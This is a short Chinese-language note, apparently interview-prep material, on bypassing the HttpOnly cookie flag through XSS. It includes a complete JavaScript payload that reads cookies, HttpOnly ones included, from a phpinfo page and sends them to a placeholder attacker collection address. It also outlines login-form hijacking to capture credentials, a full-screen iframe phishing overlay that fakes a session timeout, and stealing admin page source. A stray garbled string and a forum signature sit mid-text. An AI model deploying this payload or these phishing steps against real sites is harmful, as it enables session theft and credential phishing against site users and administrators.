面试题会提及到

前言

如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,但是并不能防止xss漏洞只能是防止cookie被盗取。

bypass

  1. 浏览器未保存帐号密码:需要 xss 产生登录地址,利用表单劫持

    将用户输入的账户名和密码(也可是管理员,另存一份打包发送至我们的接收地址,但是局限于登录页面存在跨站脚本的漏洞,否则无法生效

  2. 浏览器保存帐号密码:浏览器读取帐号密码

  3. 采用phpinfo界面,通过XMLHttpRequest请求该页面获取Cookie信息

    1. <script>
    2. function createXmlHttp() {
    3. if (window.XMLHttpRequest) {
    4. xmlHttp = new XMLHttpRequest();
    5. } else {
    6. xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    7. }
    8. }
    9. function getS() {
    10. var Url = 'PHPinfo的地址';
    11. createXmlHttp();
    12. xmlHttp.onreadystatechange = writeS;
    13. xmlHttp.open("GET", Url, true);
    14. xmlHttp.send(null);
    15. }
    16. function writeS() {
    17. if (xmlHttp.readyState == 4) {
    18. var x = xmlHttp.responseText.match(/HTTP_COOKIE.+?<\/td><td.+?>([\w\W]+?)<\/td>/);
    19. if (x){
    20. var url = "自己收取cookie的地址" + x[1]; //x 为带httponly cookie的所有cookie
    21. createXmlHttp();
    22. xmlHttp.open("GET", url, true);
    23. xmlHttp.send(null);
    24. }
    25. }
    26. }
    27. getS();
    28. </script>
  4. 客户端的可以使用ms08-069、通过flash、java的API可以获取到cookie

  5. 镶嵌一个frame全屏,提示登陆过期,然后跳转到钓鱼页面

    自己写一个和原网站后台登录地址一模一样的钓鱼页面 | 低调求发展 - 潜心习安全8 f5 ^$ E- V5 X5 ]8 o* T$ E H
    JS加载一个iframe 100%覆盖原网页 提示登录超时重新登录 因为是iframe加载 url地址不变 钓鱼成功后 再跳转回/admin/index.php 因为目标session没过期 所以可以极大程度的模拟正常的登录成功操作

  6. XSS获取源码

    如果后台的location地址和toplocation地址不一样 后台应该是采用了iframe形式加载功能页面
    那么只要抓到toplocation的页面源代码 就可以得到其他所有功能页面的地址 并且再次获取源代码进行分析
    注:我们是通过XSS 当时的session就是管理员本身 所以是可以正常的获取到页面源代码的